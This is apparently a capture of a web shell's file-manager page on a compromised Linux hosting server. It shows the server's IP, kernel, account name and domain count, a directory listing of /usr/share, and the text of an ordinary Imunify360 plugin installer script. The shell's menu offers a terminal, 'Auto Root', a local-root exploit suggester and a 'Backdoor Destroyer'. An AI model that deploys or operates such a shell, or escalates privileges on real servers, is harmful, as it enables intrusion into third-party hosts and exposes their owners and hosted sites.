Linux srv.fwservers.com 4.18.0-477.21.1.el8_8.x86_64 #1 SMP Thu Aug 10 13:51:50 EDT 2023 x86_64
Apache
Server IP : 199.127.63.82 & Your IP : 216.73.217.89
Domains : 56 Domain
User : aconstruction
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
Delete
Unzip
Name
Size
Permission
Date
Action
GConf
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
GeoIP
[ DIR ]
drwxr-xr-x
2022-09-28 15:14
ImageMagick-6
[ DIR ]
drwxr-xr-x
2026-07-31 11:03
Modules
[ DIR ]
drwxr-xr-x
2023-10-14 18:46
PackageKit
[ DIR ]
drwxr-xr-x
2026-04-30 11:03
X11
[ DIR ]
drwxr-xr-x
2024-09-26 11:03
aclocal
[ DIR ]
drwxr-xr-x
2026-09-01 11:03
aclocal-1.16
[ DIR ]
drwxr-xr-x
2023-11-22 12:04
adobe
[ DIR ]
drwxr-xr-x
2022-09-03 23:41
almalinux-logos
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
almalinux-release
[ DIR ]
drwxr-xr-x
2024-05-29 11:05
alt-php-els-meta
[ DIR ]
drwxr-xr-x
2026-03-23 11:03
anaconda
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
apache2
[ DIR ]
drwxr-xr-x
2026-08-11 22:33
appdata
[ DIR ]
drwxr-xr-x
2022-09-04 19:06
applications
[ DIR ]
drwxr-xr-x
2024-05-29 11:04
asciidoc
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
audit
[ DIR ]
drwxr-xr-x
2025-07-15 09:41
augeas
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
authselect
[ DIR ]
drwxr-xr-x
2023-10-14 18:06
autoconf
[ DIR ]
drwxr-xr-x
2024-08-15 11:03
automake-1.16
[ DIR ]
drwxr-xr-x
2023-11-22 12:04
awk
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
backgrounds
[ DIR ]
drwxr-xr-x
2021-10-09 21:45
bash-completion
[ DIR ]
drwxr-xr-x
2026-09-01 08:11
bison
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
cloudlinux-linksafe
[ DIR ]
drwxr-xr-x
2026-04-09 11:04
cmake
[ DIR ]
drwxr-xr-x
2024-04-05 19:56
cockpit
[ DIR ]
drwxr-xr-x
2026-05-28 14:05
cracklib
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
crypto-policies
[ DIR ]
drwxr-xr-x
2023-11-22 12:03
dbus-1
[ DIR ]
drwxr-xr-x
2026-05-06 11:04
desktop-directories
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
dict
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
doc
[ DIR ]
drwxr-xr-x
2026-08-27 11:03
dovecot
[ DIR ]
drwxr-xr-x
2022-09-03 23:37
dpkg
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
eclipse
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
emacs
[ DIR ]
drwxr-xr-x
2025-07-15 10:02
empty
[ DIR ]
dr-xr-xr-x
2021-10-09 08:49
enchant
[ DIR ]
drwxr-xr-x
2022-09-04 04:40
enchant-2
[ DIR ]
drwxr-xr-x
2023-05-18 11:03
et
[ DIR ]
drwxr-xr-x
2025-10-10 11:03
factory
[ DIR ]
drwxr-xr-x
2026-06-16 17:17
file
[ DIR ]
drwxr-xr-x
2025-10-10 11:03
firstboot
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
fish
[ DIR ]
drwxr-xr-x
2026-05-25 11:03
fontconfig
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
fonts
[ DIR ]
drwxr-xr-x
2022-09-04 19:06
games
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
gawk
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
gcc-8
[ DIR ]
drwxr-xr-x
2025-08-26 09:44
gdb
[ DIR ]
drwxr-xr-x
2025-08-26 09:45
gettext
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
gettext-0.19.8
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
ghostscript
[ DIR ]
drwxr-xr-x
2025-06-03 02:48
git-core
[ DIR ]
drwxr-xr-x
2025-07-23 06:59
glib-2.0
[ DIR ]
drwxr-xr-x
2026-09-01 08:11
gnome
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
gnupg
[ DIR ]
drwxr-xr-x
2026-01-17 12:04
graphviz
[ DIR ]
drwxr-xr-x
2024-04-06 12:47
groff
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
grub
[ DIR ]
drwxr-xr-x
2026-08-04 11:03
gtk-2.0
[ DIR ]
drwxr-xr-x
2021-04-06 13:52
gtk-doc
[ DIR ]
drwxr-xr-x
2026-08-31 04:29
guile
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
help
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
hwdata
[ DIR ]
drwxr-xr-x
2024-05-29 11:05
i18n
[ DIR ]
drwxr-xr-x
2026-07-21 14:46
icons
[ DIR ]
drwxr-xr-x
2022-09-03 23:41
idl
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
imunify-notifier
[ DIR ]
drwxr-xr-x
2026-07-07 08:52
imunify-pki
[ DIR ]
drwxr-xr-x
2025-08-05 11:00
imunify360
[ DIR ]
drwxr-xr-x
2026-08-14 10:51
info
[ DIR ]
drwxr-xr-x
2026-09-03 11:03
intltool
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
iso-codes
[ DIR ]
drwxr-xr-x
2022-09-04 04:40
ivy-xmls
[ DIR ]
drwxr-xr-x
2022-10-20 20:00
java
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
javadoc
[ DIR ]
drwxr-xr-x
2022-10-20 20:00
javazi
[ DIR ]
drwxr-xr-x
2026-08-08 11:03
javazi-1.8
[ DIR ]
drwxr-xr-x
2026-08-08 11:03
jvm
[ DIR ]
drwxr-xr-x
2022-10-20 20:00
jvm-commmon
[ DIR ]
drwxr-xr-x
2022-10-20 20:00
kcare
[ DIR ]
drwxr-xr-x
2026-07-03 11:03
kdump
[ DIR ]
drwxr-xr-x
2026-02-10 17:24
keyutils
[ DIR ]
drwxr-xr-x
2023-04-18 11:03
libgpg-error
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
libreport
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
libthai
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
libtool
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
libwmf
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
licenses
[ DIR ]
drwxr-xr-x
2025-12-15 12:03
locale
[ DIR ]
drwxr-xr-x
2026-07-23 11:03
ltrace
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
lua
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
makedumpfile
[ DIR ]
drwxr-xr-x
2026-02-10 17:24
man
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
maven-metadata
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
maven-poms
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
mdadm
[ DIR ]
drwxr-xr-x
2025-11-08 12:03
metainfo
[ DIR ]
drwxr-xr-x
2026-05-29 11:03
microcode_ctl
[ DIR ]
drwxr-xr-x
2026-07-28 19:54
mime
[ DIR ]
drwxr-xr-x
2024-05-29 11:05
mime-info
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
misc
[ DIR ]
drwxr-xr-x
2025-10-10 11:03
modulefiles
[ DIR ]
drwxr-xr-x
2023-10-14 18:46
myspell
[ DIR ]
drwxr-xr-x
2019-10-13 08:33
mysql-8.0
[ DIR ]
drwxr-xr-x
2026-04-21 11:03
nano
[ DIR ]
drwxr-xr-x
2024-09-26 11:04
nginx
[ DIR ]
drwxr-xr-x
2026-08-26 01:21
nodejs
[ DIR ]
drwxr-xr-x
2023-08-26 20:32
omf
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
os-prober
[ DIR ]
drwxr-xr-x
2026-01-24 12:03
p11-kit
[ DIR ]
drwxr-xr-x
2024-04-06 14:16
perl5
[ DIR ]
drwxr-xr-x
2025-07-29 11:03
pgsql
[ DIR ]
drwxr-xr-x
2026-06-24 11:03
pixmaps
[ DIR ]
drwxr-xr-x
2026-05-29 11:03
pkgconfig
[ DIR ]
drwxr-xr-x
2026-08-15 11:03
pki
[ DIR ]
drwxr-xr-x
2025-10-30 14:37
plymouth
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
polkit-1
[ DIR ]
drwxr-xr-x
2024-05-29 12:51
publicsuffix
[ DIR ]
drwxr-xr-x
2022-09-03 21:57
python2-wheels
[ DIR ]
drwxr-xr-x
2024-05-29 11:04
python3-wheels
[ DIR ]
drwxr-xr-x
2025-07-17 11:04
python3.11-wheels
[ DIR ]
drwxr-xr-x
2025-07-17 11:04
python3.12-wheels
[ DIR ]
drwxr-xr-x
2025-12-15 12:03
redhat-release
[ DIR ]
drwxr-xr-x
2024-05-29 11:05
selinux
[ DIR ]
drwxr-xr-x
2026-03-02 20:28
setroubleshoot
[ DIR ]
drwxr-xr-x
2024-05-29 11:04
sgml
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
smartmontools
[ DIR ]
drwxr-xr-x
2024-05-29 11:04
snmp
[ DIR ]
drwxr-xr-x
2026-01-19 08:19
sounds
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
source-highlight
[ DIR ]
drwxr-xr-x
2024-12-16 03:31
sssd
[ DIR ]
drwxr-xr-x
2026-07-29 11:03
sssd-kcm
[ DIR ]
drwxr-xr-x
2026-07-29 11:03
systemd
[ DIR ]
drwxr-xr-x
2026-06-18 11:03
systemtap
[ DIR ]
drwxr-xr-x
2026-07-28 01:54
tabset
[ DIR ]
drwxr-xr-x
2023-11-22 12:03
tcl8
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
tcl8.6
[ DIR ]
drwxr-xr-x
2022-09-03 23:36
terminfo
[ DIR ]
drwxr-xr-x
2023-10-14 18:52
themes
[ DIR ]
drwxr-xr-x
2022-09-03 23:42
thumbnailers
[ DIR ]
drwxr-xr-x
2026-04-30 11:03
tk8.6
[ DIR ]
drwxr-xr-x
2022-09-03 23:41
tracer
[ DIR ]
drwxr-xr-x
2024-05-29 11:04
tuned
[ DIR ]
drwxr-xr-x
2026-08-25 18:40
vim
[ DIR ]
drwxr-xr-x
2026-07-30 12:18
wayland-sessions
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
xml
[ DIR ]
drwxr-xr-x
2022-09-04 04:40
xsessions
[ DIR ]
drwxr-xr-x
2021-10-09 08:49
zoneinfo
[ DIR ]
drwxr-xr-x
2026-08-08 11:03
zsh
[ DIR ]
drwxr-xr-x
2022-09-03 21:58
av-userside-plugin.sh
6.01
KB
-rwxr--r--
2026-08-12 07:45
config.site
880
B
-rw-r--r--
2024-08-13 19:30
magic
940.67
KB
-rw-r--r--
2025-10-07 06:30
Save
Rename
#!/bin/bash DIRECTADMIN_PLUGIN="/usr/local/directadmin/plugins/Imunify" CPANEL_PLUGIN="/usr/local/cpanel/base/frontend/jupiter/imunify" AV_USERSIDE_PLUGIN_FLAG="/var/imunify360/av-userside-plugin.installed" I360_USERSIDE_PLUGIN_FLAG="/var/imunify360/i360-userside-plugin.installed" IS_I360_PACKAGE=false # Get the name of installed panel get_panel() { if [ -e /usr/local/cpanel/cpanel ]; then printf "cpanel\n" elif [ -e /usr/local/directadmin/directadmin ]; then printf "directadmin\n" elif [ -e /usr/sbin/plesk ]; then printf "plesk\n" else return 1 fi } install_cpanel() { local conf_dir="antivirus_conf" if "${IS_I360_PACKAGE}"; then if [[ -f /var/imunify360/myimunify-freemium.flag ]]; then conf_dir="myimunify_conf" else conf_dir="conf" fi fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") if [[ "${theme}" != "jupiter" ]]; then mkdir -p "/usr/local/cpanel/base/frontend/${theme}/imunify" cp -a "${CPANEL_PLUGIN}" "/usr/local/cpanel/base/frontend/${theme}" fi /usr/local/cpanel/scripts/install_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if "${IS_I360_PACKAGE}" && [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then # remove av plugin if it exists /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/antivirus_conf" --theme "${theme}" rm -f "${AV_USERSIDE_PLUGIN_FLAG}" fi done touch "$(get_plugin_flag)" } install_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${disabled_plugin}" ]] && [[ -n "$(ls -A "${disabled_plugin}")" ]]; then rm -rf "${enabled_plugin}" mv "${disabled_plugin}" "${enabled_plugin}" fi touch "$(get_plugin_flag)" } install_plesk() { if ! check_plugin_flag; then touch "$(get_plugin_flag)" fi } remove_cpanel() { local conf_dir="antivirus_conf" if "${IS_I360_PACKAGE}"; then conf_dir="conf" fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if [[ -d "/usr/local/cpanel/base/frontend/${theme}/imunify" ]]; then rm -rf "/usr/local/cpanel/base/frontend/${theme}/imunify" fi done remove_plugin_flag } remove_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${enabled_plugin}" ]] && [[ -n "$(ls -A "${enabled_plugin}")" ]]; then rm -rf "${disabled_plugin}" mv "${enabled_plugin}" "${disabled_plugin}" fi remove_plugin_flag } remove_plesk() { if check_plugin_flag; then remove_plugin_flag fi } update_cpanel() { if check_plugin_flag; then install_cpanel else printf "User-side plugin is not installed. Skipping update...\n" fi } update_directadmin() { if ! check_plugin_flag && [[ -e "${DIRECTADMIN_PLUGIN}/user" ]]; then remove_directadmin fi } update_plesk() { install_plesk } update_package_config_cpanel() { for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") local theme_path="/usr/local/cpanel/base/frontend/${theme}/imunify/assets/js/config.js" if [[ -f "${theme_path}" ]]; then if ! grep -q "IMUNIFY_PACKAGE" "${theme_path}"; then printf "var IMUNIFY_PACKAGE = '360'\n" > "${theme_path}" else sed -i -E "s/IMUNIFY_PACKAGE = 'AV'/IMUNIFY_PACKAGE = '360'/" "${theme_path}" fi fi done } update_package_config_directadmin() { install_directadmin } update_package_config_plesk() { printf "Updating package config for Plesk is not implemented.\n" } # Get the appropriate flag based on package type get_plugin_flag() { if "${IS_I360_PACKAGE}"; then echo "${I360_USERSIDE_PLUGIN_FLAG}" else echo "${AV_USERSIDE_PLUGIN_FLAG}" fi } # Check if plugin flag exists based on package type check_plugin_flag() { if "${IS_I360_PACKAGE}"; then # For 360, check if at least one flag exists if [[ -e "${I360_USERSIDE_PLUGIN_FLAG}" ]] || [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then return 0 else return 1 fi else # For AV, check only AV flag if [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then return 0 else return 1 fi fi } # Remove appropriate flag based on package type remove_plugin_flag() { if "${IS_I360_PACKAGE}"; then rm -f "${I360_USERSIDE_PLUGIN_FLAG}" else rm -f "${AV_USERSIDE_PLUGIN_FLAG}" fi } main() { local panel; panel=$(get_panel) if [[ -z "${panel}" ]]; then printf "Detected panel doesn't support av user side plugin\n" exit 0 fi for arg in "$@"; do if [[ "$arg" =~ ^package= ]]; then local imunify_package="${arg#*=}" if [[ "${imunify_package}" == "360" ]]; then IS_I360_PACKAGE=true else IS_I360_PACKAGE=false fi fi done case "${1}" in "-r") "remove_${panel}" ;; "-u") "update_${panel}" ;; "-update-package") "update_package_config_${panel}" ;; "-i") "install_${panel}" ;; "") "install_${panel}" ;; *) printf "Unrecognized option: %s\n" "${1}" exit 1 ;; esac } main "$@"